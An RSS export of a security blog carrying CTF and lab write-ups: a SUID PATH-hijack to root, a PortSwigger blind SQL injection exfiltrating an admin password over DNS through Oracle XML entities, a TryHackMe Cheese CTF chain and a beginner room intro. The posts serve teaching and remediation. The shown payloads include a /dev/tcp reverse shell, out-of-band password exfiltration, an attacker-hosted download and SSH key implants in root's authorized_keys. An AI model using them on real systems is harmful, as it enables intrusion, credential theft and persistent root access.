<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Hareeshwar N K | Security Research]]></title><description><![CDATA[Deep-dive technical write-ups on AI/LLM security architectures, web application exploitation, responsible vulnerability disclosures, and CTF walkthroughs. Focus]]></description><link>https://hareeshwarnk.hashnode.dev</link><generator>RSS for Node</generator><lastBuildDate>Mon, 02 Nov 2026 08:49:32 GMT</lastBuildDate><atom:link href="https://hareeshwarnk.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[PATH Hijacking a SUID Log Rotator: From Tokyo to root]]></title><description><![CDATA[A 250-point CTF exploitation challenge where a root-owned helper called `backup` by relative name handed me an effective UID of 0 after my first script…]]></description><link>https://hareeshwarnk.hashnode.dev/path-hijacking-a-suid-log-rotator-from-tokyo-to-root</link><guid isPermaLink="true">https://hareeshwarnk.hashnode.dev/path-hijacking-a-suid-log-rotator-from-tokyo-to-root</guid><category><![CDATA[linux-privilege-escalation]]></category><category><![CDATA[suid]]></category><category><![CDATA[PATH HIJACKING]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[ghidra]]></category><category><![CDATA[cwe-426]]></category><dc:creator><![CDATA[Hareeshwar N K]]></dc:creator><pubDate>Fri, 30 Oct 2026 04:44:24 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68aed4e6098c34343c5358a5/60d5536f-8ea7-4749-aad6-e3433cf8a5ea.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><strong>TL;DR</strong></p>
<ul>
<li><strong>Target/Lab:</strong> <em>Berlin's Locker</em>, a 250-point exploitation challenge from the authorized Synchrony CTF R2 / Operation Red Cipher lab environment. Initial access was an SSH shell as <code>tokyo</code>.</li>
<li><strong>Vulnerability class:</strong> SUID binary executing an external command by relative name (<code>execvp("backup", ...)</code>), enabling PATH hijacking — CWE-426, Untrusted Search Path.</li>
<li><strong>Root cause:</strong> A root-owned helper resolves <code>backup</code> through the caller's <code>PATH</code>, so an unprivileged user can place a malicious <code>backup</code> earlier in the search order and have it run with effective UID 0.</li>
</ul>
</blockquote>
<h2>Reconnaissance &amp; Enumeration</h2>
<p>The challenge handed me an SSH shell as <code>tokyo</code>, UID 1000, with no privileged group memberships. The only way forward was local privilege escalation.</p>
<p>My first check was the usual one. There was no <code>sudo</code> binary at all, which removed the easy path and told me to look for misconfigured file permissions instead.</p>
<pre><code class="language-bash">tokyo@container:/$ id
uid=1000(tokyo) gid=1000(tokyo) groups=1000(tokyo)

tokyo@container:/$ sudo -l
bash: sudo: command not found
# &lt;-- key signal: no sudo, so escalation must come from SUID or capabilities
</code></pre>
<p>I enumerated SUID files across the filesystem and filtered the noise. Most results were stock utilities — <code>mount</code>, <code>passwd</code>, <code>su</code>, <code>chsh</code> — that are expected to be SUID.</p>
<p>One entry did not belong: <code>/usr/local/bin/lockerctl</code>. A custom binary in <code>/usr/local/bin</code>, owned by root, with the SUID bit set, is almost always the intended target.</p>
<pre><code class="language-bash">tokyo@container:/$ find / -perm -u=s -type f 2&gt;/dev/null
/usr/local/bin/lockerctl   # &lt;-- key signal: custom SUID binary, not a distro default
/usr/bin/mount
/usr/bin/passwd
/usr/bin/su
/usr/bin/chfn
</code></pre>
<p>I ran it once to see the interface. With missing arguments it printed usage text for a single <code>rotate</code> action that takes a log path.</p>
<pre><code class="language-bash">tokyo@container:/$ stat -c '%A %U %n' /usr/local/bin/lockerctl
-rwsr-xr-x root /usr/local/bin/lockerctl   # &lt;-- key signal: SUID root
tokyo@container:/$ /usr/local/bin/lockerctl
# usage text: lockerctl rotate &lt;logfile&gt;
# &lt;-- key signal: one `rotate` action accepts an attacker-supplied path
</code></pre>
<p>A log rotation helper that runs as root and accepts a path is a promising shape. The question was whether it validated that path, and whether it passed the path to anything else.</p>
<h2>Exploitation Walkthrough</h2>
<p>I copied the binary off the container with <code>scp</code> and opened it in Ghidra. Static analysis was faster than guessing at runtime behavior.</p>
<pre><code class="language-bash">scp -P 2221 tokyo@TARGET-HOST:/usr/local/bin/lockerctl .
# &lt;-- key signal: pull the SUID binary to the analysis VM, never patch it in place
</code></pre>
<p>The decompiled <code>main</code> was small. It required exactly two arguments, compared the first against <code>rotate</code>, and checked that the second began with <code>/opt/lockers/logs/</code>.</p>
<pre><code class="language-c">if (param_1 == 3 &amp;&amp; strcmp(argv[1], "rotate") == 0) {
    if (strncmp(argv[2], "/opt/lockers/logs/", 0x11) == 0) {
        local_28 = "backup";
        execvp("backup", &amp;local_28);   // &lt;-- key signal: relative name, PATH search
    }
}
</code></pre>
<p>That prefix check is a real restriction on which file can be rotated, but it says nothing about which program performs the rotation. The <code>execvp</code> call resolves <code>backup</code> using the environment's <code>PATH</code>.</p>
<p>Because the binary is SUID root, the process keeps <code>euid=0</code> across <code>execvp</code>. Any <code>backup</code> earlier in <code>PATH</code> than the real one runs with root's effective UID.</p>
<p>My first exploit was a one-liner. I wrote <code>bash -p</code> into <code>/tmp/backup</code>, made it executable, prepended <code>/tmp</code> to <code>PATH</code>, and triggered the binary.</p>
<pre><code class="language-bash">tokyo@container:/tmp$ echo "bash -p" &gt; backup
tokyo@container:/tmp$ chmod 777 backup
tokyo@container:/tmp$ export PATH=/tmp:$PATH
tokyo@container:/tmp$ /usr/local/bin/lockerctl rotate /opt/lockers/logs/heist.log
tokyo@container:/tmp$ whoami
tokyo
# &lt;-- FAILED: still UID 1000, no elevated shell
</code></pre>
<p>No error, no shell, no root. The binary had clearly executed something, but the privilege was gone by the time my command ran.</p>
<p>The problem was the missing shebang. Without an interpreter line, <code>execvp</code> fell back to <code>/bin/sh</code> to run the file, and that shell dropped the elevated effective UID before it reached the inner <code>bash -p</code>.</p>
<p>The fix was to declare the interpreter explicitly and pass <code>-p</code> on that line, so the shell is started in privileged mode from the very first instruction.</p>
<pre><code class="language-bash">#!/bin/bash -p
cat /root/flag.txt
/bin/bash -p
# &lt;-- key signal: -p on the shebang preserves euid=0 for the whole script
</code></pre>
<p>I transferred the corrected script, made it executable, and confirmed resolution order before triggering anything. <code>which backup</code> returning <code>/tmp/backup</code> is the proof that the hijack is in place.</p>
<pre><code class="language-bash">tokyo@container:/tmp$ chmod +x backup
tokyo@container:/tmp$ export PATH=/tmp:$PATH
tokyo@container:/tmp$ which backup
/tmp/backup        # &lt;-- key signal: PATH resolves to my script, not the system backup
tokyo@container:/tmp$ /usr/local/bin/lockerctl rotate /opt/lockers/logs/heist.log
</code></pre>
<p>The script ran as root. The flag printed, and the trailing <code>/bin/bash -p</code> left me in a shell with <code>euid=0</code> while the real UID stayed 1000.</p>
<pre><code class="language-bash">bash-5.1# id
uid=1000(tokyo) gid=1000(tokyo) euid=0(root) groups=1000(tokyo)
# &lt;-- key signal: euid 0 confirms SUID privilege survived the exec chain
</code></pre>
<p>I read <code>/root/flag.txt</code> and then the challenge key at <code>/opt/mint/key.txt</code>, both redacted here. The key file was group-readable by <code>lockers</code> with mode <code>0440</code>, which is why root was required.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68aed4e6098c34343c5358a5/79e28c3d-551e-45fb-9bac-47b0bfc31669.png" alt="" style="display:block;margin:0 auto" />

<p>One operational detail mattered: I did not overwrite the real <code>backup</code> binary. The hijack only works because <code>/tmp</code> precedes the system directories in <code>PATH</code>, and the SUID binary inherits that environment from my shell.</p>
<h2>Root Cause &amp; Remediation Patch</h2>
<p>The flaw is not the path prefix check. That check does what it claims. The flaw is that a privileged program delegates work to a command name it does not control.</p>
<p><code>execvp("backup", ...)</code> performs a <code>PATH</code> lookup using the caller's environment. In a SUID context, the caller is unprivileged and the lookup result is attacker-controlled.</p>
<p>The direct patch is <code>execv</code> with an absolute path. The program should also reset <code>PATH</code> and clear loader variables before executing anything, in case a future code path reintroduces a relative lookup.</p>
<pre><code class="language-c">const char *safe_path = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin";
setenv("PATH", safe_path, 1);
unsetenv("LD_PRELOAD");
unsetenv("LD_LIBRARY_PATH");

char *const args[] = {"/usr/bin/backup", logfile, NULL};
execv("/usr/bin/backup", args);   // &lt;-- key signal: absolute path, no PATH search
</code></pre>
<p>Absolute paths are necessary but not sufficient. A root helper that shells out to another program still inherits a broad attack surface, including argument injection into that program.</p>
<ul>
<li>Prefer implementing the rotation in-process instead of spawning <code>backup</code>.</li>
<li>If an external command is unavoidable, drop privileges with <code>setuid(getuid())</code> and <code>setgid(getgid())</code> before <code>exec</code>.</li>
<li>Replace SUID with a narrowly scoped <code>sudoers</code> rule or a systemd unit, so the privileged action is auditable and bounded.</li>
<li>Audit every <code>exec*</code> call in SUID code for relative names, and alert on SUID binaries that spawn shells.</li>
</ul>
<p>The lesson I took from this challenge is that privilege escalation often hides in a single function argument. The prefix check looked careful, the binary was small, and the bug was still one word: <code>execvp</code> instead of <code>execv</code>.</p>
]]></content:encoded></item><item><title><![CDATA[When the Database Talks Back: Blind SQLi Data Exfiltration Over DNS]]></title><description><![CDATA[A PortSwigger Practitioner lab where a quoted string literal blocked my first payload, and rebuilding the concatenation at SQL level turned the admin…]]></description><link>https://hareeshwarnk.hashnode.dev/when-the-database-talks-back-blind-sqli-data-exfiltration-over-dns</link><guid isPermaLink="true">https://hareeshwarnk.hashnode.dev/when-the-database-talks-back-blind-sqli-data-exfiltration-over-dns</guid><category><![CDATA[SQL Injection]]></category><category><![CDATA[portswigger]]></category><category><![CDATA[Web Security]]></category><category><![CDATA[Burpsuite  ]]></category><category><![CDATA[dns-exfiltration]]></category><category><![CDATA[Oracle]]></category><dc:creator><![CDATA[Hareeshwar N K]]></dc:creator><pubDate>Fri, 30 Oct 2026 04:36:52 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68aed4e6098c34343c5358a5/481cc44a-2b27-48f2-96c8-0fb3df5e87c0.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><strong>TL;DR</strong></p>
<ul>
<li><strong>Target/Lab:</strong> PortSwigger Web Security Academy, <em>Blind SQL injection with out-of-band data exfiltration</em> — Practitioner, CWE-89, solved in an authorized lab instance.</li>
<li><strong>Vulnerability class:</strong> Blind SQL injection in the <code>TrackingId</code> cookie, escalated to out-of-band data exfiltration through Oracle <code>EXTRACTVALUE</code> and <code>xmltype</code> external entities.</li>
<li><strong>Root cause:</strong> The cookie value is concatenated into a SQL statement, and the database account can invoke XML parsing functions that resolve attacker-controlled external entities over the network.</li>
</ul>
</blockquote>
<h2>Reconnaissance &amp; Enumeration</h2>
<p>The application exposed a single obvious state carrier: a <code>TrackingId</code> cookie set on the homepage. I intercepted the request in Burp Suite and replayed it through Repeater, changing only that value.</p>
<p>The response body never changed. No error, no stack trace, no difference in content length. That ruled out error-based and UNION-based feedback and put me in blind territory.</p>
<p>The sibling interaction lab had already established that <code>TrackingId</code> was the injectable parameter, so I did not spend time re-fuzzing every header. The open question was whether this instance's database host could reach an external listener at all.</p>
<pre><code class="language-http">GET / HTTP/1.1
Host: LAB-INSTANCE.web-security-academy.net
Cookie: TrackingId=abc; session=[REDACTED]
Connection: close
# &lt;-- key signal: TrackingId is the only user-controlled value that reaches the query
</code></pre>
<p>Boolean and time-based techniques were still on the table. I chose out-of-band because the lab targeted Oracle, and the cookie sat in a string context where a subquery could be concatenated into the value passed to an XML parser.</p>
<p>I generated a Collaborator subdomain from the Burp Collaborator tab. The first test was a plain interaction, not exfiltration, to verify the database host could reach the internet at all.</p>
<pre><code class="language-sql">h' UNION SELECT EXTRACTVALUE(
  xmltype('&lt;?xml version="1.0"?&gt;&lt;!DOCTYPE root [
    &lt;!ENTITY % remote SYSTEM "http://COLLABORATOR-SUBDOMAIN.oastify.com/"&gt;
    %remote;]&gt;'),'/l') FROM dual--
# &lt;-- key signal: DNS/HTTP hit from the DB host proves egress + XML entity resolution
</code></pre>
<p>Collaborator logged a DNS lookup and an HTTP request shortly after. That confirmed three things at once: the cookie was injectable, the query ran as an Oracle user with access to <code>EXTRACTVALUE</code>, and the database server could resolve arbitrary hostnames.</p>
<p>Any one of those failing would have forced a different path. With all three present, the remaining problem was packaging data into the outbound request.</p>
<h2>Exploitation Walkthrough</h2>
<p>My first exfiltration attempt looked reasonable on paper. I placed the password subquery directly inside the XML document string, expecting the parser to evaluate it.</p>
<pre><code class="language-sql">h' UNION SELECT EXTRACTVALUE(
  xmltype('&lt;?xml version="1.0"?&gt;&lt;!DOCTYPE root [
    &lt;!ENTITY % remote SYSTEM "http://"||(SELECT password FROM users
      WHERE username='administrator')||".COLLABORATOR-SUBDOMAIN.oastify.com/"&gt;
    %remote;]&gt;'),'/l') FROM dual--
# &lt;-- FAILED: the SELECT sits inside a quoted string literal
</code></pre>
<p>No callback. The reason is simple once stated plainly: everything between the outer quotes passed to <code>xmltype()</code> is a string literal. The SQL parser does not look inside a quoted string and evaluate <code>||</code> or <code>SELECT</code>; it sees characters.</p>
<p>The <code>||</code> operator was being treated as literal text in the URL, so the entity resolved to a malformed hostname containing spaces and parentheses. DNS never saw a valid label.</p>
<p>The fix was to move the concatenation outside the literal. I closed the string, concatenated the scalar subquery at SQL level, then reopened the string.</p>
<pre><code class="language-sql">'||(SELECT EXTRACTVALUE(
  xmltype('&lt;?xml version="1.0"?&gt;&lt;!DOCTYPE root [
    &lt;!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users
      WHERE username='administrator')||'.COLLABORATOR-SUBDOMAIN.oastify.com/"&gt;
    %remote;]&gt;'),'/l') FROM dual)||'
# &lt;-- key signal: '|| closes, subquery evaluates, ||' reopens around the finished URL
</code></pre>
<p>Execution order matters here. SQL builds one complete string first, <code>xmltype()</code> parses the finished document second, and the XML parser resolves the external entity third. By the time the parser runs, the password is already part of the URL.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68aed4e6098c34343c5358a5/1d20c0d3-9d68-46c7-aac4-833d7939647f.png" alt="" style="display:block;margin:0 auto" />

<p>I sent the rebuilt payload through Repeater and polled Collaborator. The DNS interaction arrived with the password prepended to the Collaborator hostname.</p>
<pre><code class="language-text">DNS lookup:
  [REDACTED-PASSWORD].COLLABORATOR-SUBDOMAIN.oastify.com
# &lt;-- key signal: first label is the exfiltrated value, not a random token
</code></pre>
<p>The extracted credential was the administrator password. I used it against the login form, reached the admin panel, and the lab marked itself solved.</p>
<p>A few details are worth recording because they cost me time. Oracle requires <code>FROM dual</code> on every scalar <code>SELECT</code>, including the nested one. The concatenation must sit at the SQL layer, not inside the <code>SYSTEM</code> value. And <code>EXTRACTVALUE</code> is only the trigger — the actual network call is performed by the XML parser resolving <code>%remote;</code>.</p>
<p>If the target data contains <code>@</code>, <code>/</code>, or <code>\</code>, DNS labels break. <code>TRANSLATE()</code> can sanitize the value before it reaches the hostname, at the cost of losing fidelity.</p>
<h2>Root Cause &amp; Remediation Patch</h2>
<p>The application built SQL by string concatenation. The <code>TrackingId</code> cookie was pasted into a query, so a quote in the cookie became a quote in the statement, and the rest of the payload became SQL grammar.</p>
<p>The patch is a parameterized query, not input filtering. The value must travel as a bound parameter so the parser never reinterprets it as syntax.</p>
<pre><code class="language-java">// Vulnerable
String sql = "SELECT tracking FROM visits WHERE id = '" + trackingId + "'";

// Patched
String sql = "SELECT tracking FROM visits WHERE id = ?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setString(1, trackingId);
# &lt;-- key signal: the cookie is data, never part of the statement text
</code></pre>
<p>Parameterization alone closes the injection. It does not close the exfiltration channel if an attacker finds another way to influence XML parsing, so I would add two layers behind it.</p>
<ul>
<li>Revoke <code>EXECUTE</code> on <code>EXTRACTVALUE</code>, <code>XMLTYPE</code>, <code>UTL_HTTP</code>, and <code>UTL_INADDR</code> from the application schema; grant only to a dedicated, audited account if a feature genuinely needs them.</li>
<li>Block outbound DNS and HTTP from database subnets at the firewall, with an allowlist for named internal resolvers.</li>
<li>Log and alert on <code>EXTRACTVALUE</code>/<code>XMLTYPE</code> calls containing <code>DOCTYPE</code> or <code>ENTITY</code> strings, which have almost no legitimate use in application queries.</li>
</ul>
<p>The deeper lesson is that blind injection is not a dead end. When the response channel is closed, attackers look for a second channel the database already owns — DNS. Egress control is what turns a data breach into a failed lookup.</p>
]]></content:encoded></item><item><title><![CDATA[📝 TryHackMe: Cheese CTF – Writeup]]></title><description><![CDATA[The CheeseCTF room on TryHackMe is an easy-level challenge that demonstrates a full attack chain: Reconnaissance with nmap Web exploitation (SQLi & Local…]]></description><link>https://hareeshwarnk.hashnode.dev/tryhackme-cheese-ctf-writeup</link><guid isPermaLink="true">https://hareeshwarnk.hashnode.dev/tryhackme-cheese-ctf-writeup</guid><category><![CDATA[cheesectf ]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[CTF Writeup]]></category><dc:creator><![CDATA[Hareeshwar N K]]></dc:creator><pubDate>Sun, 31 Aug 2025 14:20:28 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-room-overview">📌 Room Overview</h2>
<p>The <strong>CheeseCTF</strong> room on TryHackMe is an easy-level challenge that demonstrates a full attack chain:</p>
<ul>
<li><p><strong>Reconnaissance</strong> with <code>nmap</code></p>
</li>
<li><p><strong>Web exploitation</strong> (SQLi &amp; Local File Inclusion)</p>
</li>
<li><p><strong>LFI to RCE</strong> via PHP filter tricks</p>
</li>
<li><p><strong>Privilege escalation</strong> first to the <code>comte</code> user and finally to <code>root</code></p>
</li>
</ul>
<p>This room provides hands-on practice for exploiting <strong>web vulnerabilities</strong> and <strong>Linux privilege escalation misconfigurations</strong>.</p>
<hr />
<h2 id="heading-step-1-reconnaissance">🎯 Step 1 – Reconnaissance</h2>
<p>We begin with an <strong>Nmap scan</strong> of the target:</p>
<pre><code class="lang-bash">nmap -sS --top-ports 3000 &lt;target-ip&gt;
</code></pre>
<ul>
<li><p>Multiple open ports are identified.</p>
</li>
<li><p>Port <strong>80 (HTTP)</strong> is hosting a web application.</p>
</li>
</ul>
<h3 id="heading-visiting-the-website">Visiting the Website</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756649581677/4d26f3fd-d7ed-4cfc-8d0a-9ee8b9a79a5f.png" alt /></p>
<p>Exploring further, we find a <strong>login page</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756649591552/d1b9136e-d701-43a4-9232-d1b09ccf3896.png" alt /></p>
<hr />
<h2 id="heading-step-2-web-exploitation">🔐 Step 2 – Web Exploitation</h2>
<h3 id="heading-sql-injection">SQL Injection</h3>
<p>Using <code>ffuf</code>, I fuzzed for SQL injection payloads from the <strong>SecLists</strong> wordlists:</p>
<pre><code class="lang-bash">ffuf -w /usr/share/seclists/Fuzzing/SQLi.txt -u http://&lt;target-ip&gt;/login.php -X POST -d <span class="hljs-string">"username=FUZZ&amp;password=FUZZ"</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756649606919/c6152adb-f06f-47d9-b54a-219f377ca5fe.png" alt /></p>
<p>➡️ With this, I was able to bypass the login form.</p>
<hr />
<h2 id="heading-step-3-local-file-inclusion-lfi">📂 Step 3 – Local File Inclusion (LFI)</h2>
<p>After login, inspecting the <strong>URL parameters</strong> showed that the <code>file</code> parameter was used to include resources:</p>
<pre><code class="lang-plaintext">http://&lt;target-ip&gt;/index.php?file=page.php
</code></pre>
<p>Testing with <code>/etc/passwd</code> confirmed LFI:</p>
<pre><code class="lang-plaintext">http://&lt;target-ip&gt;/index.php?file=/etc/passwd
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756649623057/bece9063-a95b-4195-bcc2-a74c96c352bc.png" alt /></p>
<hr />
<h2 id="heading-step-4-lfi-to-rce">💥 Step 4 – LFI to RCE</h2>
<p>To escalate from LFI to Remote Code Execution (RCE), I used the <strong>php_filter_chain_generator</strong> tool. <a target="_blank" href="https://github.com/synacktiv/php_filter_chain_generator">link here</a></p>
<pre><code class="lang-bash">python3 php_filter_chain_generator.py --chain <span class="hljs-string">"&lt;?php exec('/bin/bash -c \"/bin/bash -i &gt;&amp; /dev/tcp/10.17.18.203/4445 0&gt;&amp;1\"'); ?&gt;"</span>
</code></pre>
<p>The generated payload was passed into the vulnerable <code>file</code> parameter, which executed PHP code on the server.</p>
<p>Finally, I set up a listener and triggered the payload to gain a reverse shell:</p>
<pre><code class="lang-bash">nc -lvnp 4444
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756649630020/7ada4365-b127-4773-b65f-5a6c270ed371.png" alt /></p>
<p>At this stage, I had a shell as the <code>www-data</code> user.</p>
<hr />
<h2 id="heading-step-5-shell-stabilization">🛠️ Step 5 – Shell Stabilization</h2>
<p>The default shell was unstable. I upgraded it to a proper TTY:</p>
<pre><code class="lang-bash">python3 -c <span class="hljs-string">'import pty; pty.spawn("/bin/bash")'</span>
CTRL+Z
stty raw -<span class="hljs-built_in">echo</span>&amp;&amp; <span class="hljs-built_in">fg</span>
reset
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756649694393/ba503e44-4d8e-439f-a89c-9f72a12671c1.png" alt /></p>
<p>Now I had a more interactive shell environment.</p>
<hr />
<h2 id="heading-step-6-privilege-escalation-user-comte">👤 Step 6 – Privilege Escalation (User comte)</h2>
<p>I downloaded and executed <strong>LinPEAS</strong> to enumerate the system:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756649734532/685b445a-24a4-42d7-840e-305d820c0d1b.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756649743786/d3ee111a-854e-4fd8-9509-10b9c65c659c.png" alt /></p>
<pre><code class="lang-bash">wget http://&lt;attacker-ip&gt;/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
</code></pre>
<ul>
<li><p>Note: if permission denied for <code>wget</code> then try to execute it from <code>/tmp</code></p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756649761728/47d542af-0106-47c4-97d0-f6b9d2a2043b.png" alt /></p>
</li>
<li><p>Simple <code>cd /tmp &amp;&amp; wget http://&lt;ip&gt;/linpeas.sh</code> will solve the issue</p>
</li>
</ul>
<p>LinPEAS highlighted potential privilege escalation vectors.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756649773442/a0624efe-bc79-4bce-bea2-4455c9255828.png" alt /></p>
<p>Among them:</p>
<ul>
<li><strong>Write permissions on</strong> <code>comte</code>’s SSH authorized_keys file.</li>
</ul>
<p>So, I placed my SSH public key inside <code>/home/comte/.ssh/authorized_keys</code> and logged in as <code>comte</code>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756649802414/8c8f686b-dea0-464a-8ca3-5dbf20ed648f.png" alt /></p>
<pre><code class="lang-bash">ssh -i id_rsa comte@&lt;target-ip&gt;
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756649807891/5030c6d1-f5e3-42df-91fe-3d49e0159990.png" alt /></p>
<p>Boom ! got the user shell!</p>
<p><code>cat user.txt</code> will give the flag!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756649818940/2d39f5e1-d71d-4d76-a1be-eaf401ff3df8.png" alt /></p>
<hr />
<h2 id="heading-step-7-privilege-escalation-root">⚡ Step 7 – Privilege Escalation (Root)</h2>
<h3 id="heading-enumerating-sudo">Enumerating sudo</h3>
<p>Running <code>sudo -l</code> as comte showed:</p>
<pre><code class="lang-bash">User comte may run the following commands on ip-10-201-48-162:
    (ALL) NOPASSWD: /bin/systemctl daemon-reload
    (ALL) NOPASSWD: /bin/systemctl restart exploit.timer
    (ALL) NOPASSWD: /bin/systemctl start exploit.timer
    (ALL) NOPASSWD: /bin/systemctl <span class="hljs-built_in">enable</span> exploit.timer
</code></pre>
<h3 id="heading-inspecting-services">Inspecting Services</h3>
<p>Checking <code>/etc/systemd/system/</code> revealed:</p>
<p><code>exploit.service</code>:</p>
<pre><code class="lang-ini"><span class="hljs-section">[Unit]</span>
<span class="hljs-attr">Description</span>=Exploit Service

<span class="hljs-section">[Service]</span>
<span class="hljs-attr">Type</span>=<span class="hljs-literal">on</span>eshot
<span class="hljs-attr">ExecStart</span>=/bin/bash -c <span class="hljs-string">"/bin/cp /usr/bin/xxd /opt/xxd &amp;&amp; /bin/chmod +sx /opt/xxd"</span>
</code></pre>
<p>➡️ This copies <code>xxd</code> into <code>/opt/xxd</code> with the <strong>SUID bit set</strong>.</p>
<hr />
<h2 id="heading-step-8-exploiting-suid-xxd">🔓 Step 8 – Exploiting SUID xxd</h2>
<p>Starting the service:</p>
<pre><code class="lang-bash">sudo systemctl start exploit.timer
</code></pre>
<ul>
<li>It returned Error so i added the entry of the exploit.timer</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756649840993/55e19c3c-f931-4d97-bec7-4c3295730217.png" alt /></p>
<p>Now <code>/opt/xxd</code> had SUID root:</p>
<pre><code class="lang-bash">ls -l /opt/xxd
-rwsr-sr-x 1 root root 123456 /opt/xxd
</code></pre>
<p>With this, I could write files as root.</p>
<h3 id="heading-writing-roots-authorized-keys">Writing Root’s Authorized Keys</h3>
<p>I added my SSH public key to root’s authorized_keys:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">"ssh-ed25519 AAAAC3Nz... kali@kali"</span> \
| /opt/xxd | /opt/xxd -r - <span class="hljs-string">"/root/.ssh/authorized_keys"</span>
</code></pre>
<hr />
<h2 id="heading-step-9-root-access">🐚 Step 9 – Root Access</h2>
<p>Now I could SSH directly as <strong>root</strong>:</p>
<pre><code class="lang-bash">ssh -i id_ed25519 root@&lt;target-ip&gt;
</code></pre>
<p>or <strong>another easy way</strong></p>
<pre><code class="lang-bash">/opt/xxd <span class="hljs-string">"/root/root/root.txt"</span> | xxd -r
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756649869554/02940e02-c278-4134-98d3-eb19f648e875.png" alt /></p>
<hr />
<h2 id="heading-key-learnings">📖 Key Learnings</h2>
<ul>
<li><p><strong>SQL Injection</strong> can often be combined with LFI to escalate further.</p>
</li>
<li><p><strong>LFI to RCE</strong> using PHP filters is a powerful technique.</p>
</li>
<li><p><strong>Systemd misconfigurations</strong> (sudo + timers/services) can lead to privilege escalation.</p>
</li>
<li><p><strong>SUID binaries</strong> can be abused to read/write root files.</p>
</li>
<li><p>Adding an attacker’s key to <code>authorized_keys</code> is a stealthy persistence method.</p>
</li>
</ul>
<hr />
<h2 id="heading-references">🔗 References</h2>
<ul>
<li><p><a target="_blank" href="https://github.com/synacktiv/php_filter_chain_generator">php_filter_chain_generator – GitHub</a></p>
</li>
<li><p><a target="_blank" href="https://gtfobins.github.io/">GTFOBins</a> – for exploiting SUID binaries</p>
</li>
<li><p><a target="_blank" href="https://roriwa.github.io/pentest/tools/LinPEAS/">Use LinPEAS</a></p>
</li>
<li><p>Other community writeups:</p>
<ul>
<li><a target="_blank" href="https://0xb0b.gitbook.io/writeups/tryhackme/2024/cheese-ctf">Writeup 1</a></li>
</ul>
</li>
</ul>
<hr />
]]></content:encoded></item><item><title><![CDATA[📝 TryHackMe: Getting Started – Writeup]]></title><description><![CDATA[The Getting Started room on TryHackMe is designed to introduce beginners to the platform.It teaches the basics of: Launching and interacting with machines…]]></description><link>https://hareeshwarnk.hashnode.dev/tryhackme-getting-started-writeup</link><guid isPermaLink="true">https://hareeshwarnk.hashnode.dev/tryhackme-getting-started-writeup</guid><category><![CDATA[Write Up]]></category><category><![CDATA[tryhackme]]></category><dc:creator><![CDATA[Hareeshwar N K]]></dc:creator><pubDate>Wed, 27 Aug 2025 11:23:22 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-room-overview">📌 Room Overview</h2>
<p>The <strong>Getting Started</strong> room on TryHackMe is designed to introduce beginners to the platform.<br />It teaches the basics of:</p>
<ul>
<li><p>Launching and interacting with machines (VMs).</p>
</li>
<li><p>Accessing a target website via the AttackBox.</p>
</li>
<li><p>Inspecting web applications for common issues (comments, hidden pages).</p>
</li>
<li><p>Understanding how to complete tasks and submit flags.</p>
</li>
</ul>
<hr />
<h2 id="heading-learning-objectives">🎯 Learning Objectives</h2>
<ul>
<li><p>Learn how to start and connect to a TryHackMe machine.</p>
</li>
<li><p>Practice accessing a website hosted on a VM.</p>
</li>
<li><p>Identify hidden information in a website’s source code.</p>
</li>
<li><p>Familiarize with answering questions to complete a room.</p>
</li>
</ul>
<hr />
<h2 id="heading-task-1-introduction-amp-starting-the-machine">🚀 Task 1 – Introduction &amp; Starting the Machine</h2>
<ul>
<li><p>Click <strong>Start Machine</strong> → A target VM is launched.</p>
</li>
<li><p>Note the <strong>IP Address</strong> from the “Active Machine Information” section.</p>
</li>
<li><p>Launch the <strong>AttackBox</strong> VM → contains pre-installed hacking tools.</p>
</li>
<li><p>Open Firefox in AttackBox and navigate to the target IP → this loads the <strong>BFFs social media website</strong>.</p>
</li>
</ul>
<hr />
<h2 id="heading-inspecting-the-site">🔎 Inspecting the Site</h2>
<p>A common first step in web enumeration is to <strong>view the page source</strong>:</p>
<ol>
<li><p>Right-click on the webpage → <strong>View Page Source</strong>.</p>
</li>
<li><p>Look for <strong>HTML comments</strong> (they begin with <code>&lt;!-- ... --&gt;</code>).</p>
</li>
<li><p>Developers sometimes leave behind:</p>
<ul>
<li><p>Debug information</p>
</li>
<li><p>Usernames/passwords</p>
</li>
<li><p>Hidden admin/test pages</p>
</li>
</ul>
</li>
</ol>
<hr />
